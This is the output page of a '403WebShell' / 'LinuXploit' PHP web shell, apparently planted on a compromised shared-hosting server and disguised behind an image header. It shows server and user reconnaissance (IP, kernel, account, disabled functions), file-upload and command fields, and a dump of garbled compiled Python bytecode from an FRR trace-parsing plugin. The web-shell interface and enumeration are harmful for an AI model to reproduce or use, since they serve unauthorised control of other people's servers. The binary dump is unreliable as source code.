���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/frr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/frr/__pycache__/frr_babeltrace.cpython-39.pyc
a

��sg�"�@s�dZddlZddlZddlZddlZdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zed'kr�e�dS)(a
Usage: frr_babeltrace.py trace_path

FRR pushes data into lttng tracepoints in the least overhead way possible
i.e. as binary-data/crf_arrays. These traces need to be converted into pretty
strings for easy greping etc. This script is a babeltrace python plugin for
that pretty printing.

Copyright (C) 2021  NVIDIA Corporation
Anuradha Karuppiah

This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the Free
Software Foundation; either version 2 of the License, or (at your option)
any later version.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
more details.

You should have received a copy of the GNU General Public License along
with this program; see the file COPYING; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
�NcCs�|dtjkr8dd�|dd�D�}tt�d�|���S|dtjkr�d�dd	�|dd
�D��}g}|r�|�|d
d��|dd
�}qfd�|�}tt�|��S|ds�dS|S)z&
    pretty print "struct ipaddr"
    rcSsg|]}t|��qS�)�str)�.0Zfvrr�/usr/lib/frr/frr_babeltrace.py�
<listcomp>(�z!print_ip_addr.<locals>.<listcomp>���.�css|]}d|VqdS�z%02xNr�rZfbrrr�	<genexpr>,rz print_ip_addr.<locals>.<genexpr>N�:)	�socketZAF_INETr�	ipaddress�IPv4Address�joinZAF_INET6�append�IPv6Address)�	field_val�addr�tmprrr�
print_ip_addr#s
rcCsd�dd�|D��S)z"
    pretty print "u8 mac[6]"
    rcss|]}d|VqdSrrr
rrrr>rzprint_mac.<locals>.<genexpr>�r�rrrr�	print_mac:srcCstt�|��S)z/
    pretty print ctf_integer_network ipv4
    )rrrrrrr�print_net_ipv4_addr@srcCsd�dd�|D��S)z1
    pretty print ethernet segment id, esi_t
    rcss|]}d|VqdSrrr
rrrrJrzprint_esi.<locals>.<genexpr>rrrrr�	print_esiFsrcCs|�tjj�S)z@
    only fetch fields added via the TP, skip metadata etc.
    )Zfield_list_with_scope�
babeltraceZCTFScopeZEVENT_FIELDS)�eventrrr�get_field_listLsr!cCsZt|�}i}|D]8}||vr:|�|�}||�|��||<q|�|�||<qt|j|�dS)zB
    Wild card event parser; doesn't make things any prettier
    N)r!�get�print�name)r �
field_parsersZ
field_listZ
field_infoZfieldZfield_parserrrr�parse_eventRs
r&cCsttttd�}t||�dS)ad
    bgp evpn mac-ip parser; raw format -
    ctf_array(unsigned char, mac, &pfx->prefix.macip_addr.mac,
            sizeof(struct ethaddr))
    ctf_array(unsigned char, ip, &pfx->prefix.macip_addr.ip,
            sizeof(struct ipaddr))
    ctf_integer_network_hex(unsigned int, vtep, vtep.s_addr)
    ctf_array(unsigned char, esi, esi, sizeof(esi_t))
    )�ip�mac�esi�vtepN)rrrrr&�r r%rrr�parse_frr_bgp_evpn_mac_ip_zsendbs
�r,cCsdti}t||�dS)z�
    bgp evpn bum-vtep parser; raw format -
    ctf_integer_network_hex(unsigned int, vtep,
            pfx->prefix.imet_addr.ip.ipaddr_v4.s_addr)

    r*N�rr&r+rrr�!parse_frr_bgp_evpn_bum_vtep_zsendssr.cCsdti}t||�dS)zu
    bgp evpn nh-rmac parser; raw format -
    ctf_array(unsigned char, rmac, &nh->rmac, sizeof(struct ethaddr))
    ZrmacN)rr&r+rrr�"parse_frr_bgp_evpn_mh_nh_rmac_send~sr/cCsttd�}t||�dS)z�
    bgp evpn local-es parser; raw format -
    ctf_array(unsigned char, esi, esi, sizeof(esi_t))
    ctf_integer_network_hex(unsigned int, vtep, vtep.s_addr)
    )r)r*N)rrr&r+rrr�(parse_frr_bgp_evpn_mh_local_es_add_zrecv�s�r0cCsdti}t||�dS)zf
    bgp evpn local-es parser; raw format -
    ctf_array(unsigned char, esi, esi, sizeof(esi_t))
    r)N�rr&r+rrr�(parse_frr_bgp_evpn_mh_local_es_del_zrecv�sr2cCsdti}t||�dS�zj
    bgp evpn local-es-evi parser; raw format -
    ctf_array(unsigned char, esi, esi, sizeof(esi_t))
    r)Nr1r+rrr�,parse_frr_bgp_evpn_mh_local_es_evi_add_zrecv�sr4cCsdti}t||�dSr3r1r+rrr�,parse_frr_bgp_evpn_mh_local_es_evi_del_zrecv�sr5cCsttd�}t||�dS)z�
    bgp evpn local-vni parser; raw format -
    ctf_integer_network_hex(unsigned int, vtep, vtep.s_addr)
    ctf_integer_network_hex(unsigned int, mc_grp, mc_grp.s_addr)
    )r*Zmc_grpNr-r+rrr�&parse_frr_bgp_evpn_local_vni_add_zrecv�s�r6cCstttd�}t||�dS)a
    bgp evpn local-l3vni parser; raw format -
    ctf_integer_network_hex(unsigned int, vtep, vtep.s_addr)
    ctf_array(unsigned char, svi_rmac, svi_rmac, sizeof(struct ethaddr))
    ctf_array(unsigned char, vrr_rmac, vrr_rmac, sizeof(struct ethaddr))
    )r*Zsvi_rmacZvrr_rmacN)rrr&r+rrr�(parse_frr_bgp_evpn_local_l3vni_add_zrecv�s
�r7cCstttd�}t||�dS)z�
    bgp evpn local-mac-ip parser; raw format -
    ctf_array(unsigned char, ip, ip, sizeof(struct ipaddr))
    ctf_array(unsigned char, mac, mac, sizeof(struct ethaddr))
    ctf_array(unsigned char, esi, esi, sizeof(esi_t))
    )r'r(r)N)rrrr&r+rrr�(parse_frr_bgp_evpn_local_macip_add_zrecv�s
�r8cCsttd�}t||�dS)z�
    bgp evpn local-mac-ip del parser; raw format -
    ctf_array(unsigned char, ip, ip, sizeof(struct ipaddr))
    ctf_array(unsigned char, mac, mac, sizeof(struct ethaddr))
    )r'r(N)rrr&r+rrr�(parse_frr_bgp_evpn_local_macip_del_zrecv�s�r9cCsttttttttttt	t
d�}tjd}t
��}|�|d�|jD].}|j|vrd|�|j�}||�q@t|i�q@dS)z;
    FRR lttng trace output parser; babel trace plugin
    )zfrr_bgp:evpn_mac_ip_zsendzfrr_bgp:evpn_bum_vtep_zsendzfrr_bgp:evpn_mh_nh_rmac_zsendz"frr_bgp:evpn_mh_local_es_add_zrecvz"frr_bgp:evpn_mh_local_es_del_zrecvz&frr_bgp:evpn_mh_local_es_evi_add_zrecvz&frr_bgp:evpn_mh_local_es_evi_del_zrecvz frr_bgp:evpn_local_vni_add_zrecvz"frr_bgp:evpn_local_l3vni_add_zrecvz"frr_bgp:evpn_local_macip_add_zrecvz"frr_bgp:evpn_local_macip_del_zrecv�ZctfN)r,r.r/r0r2r4r5r6r7r8r9�sys�argvrZTraceCollectionZadd_traces_recursiveZeventsr$r"r&)Z
event_parsersZ
trace_pathZtrace_collectionr Zevent_parserrrr�main�s(�



r=�__main__)�__doc__rrr;rrrrrr!r&r,r.r/r0r2r4r5r6r7r8r9r=�__name__rrrr�<module>s0				


*

Youez - 2016 - github.com/yon3zu
LinuXploit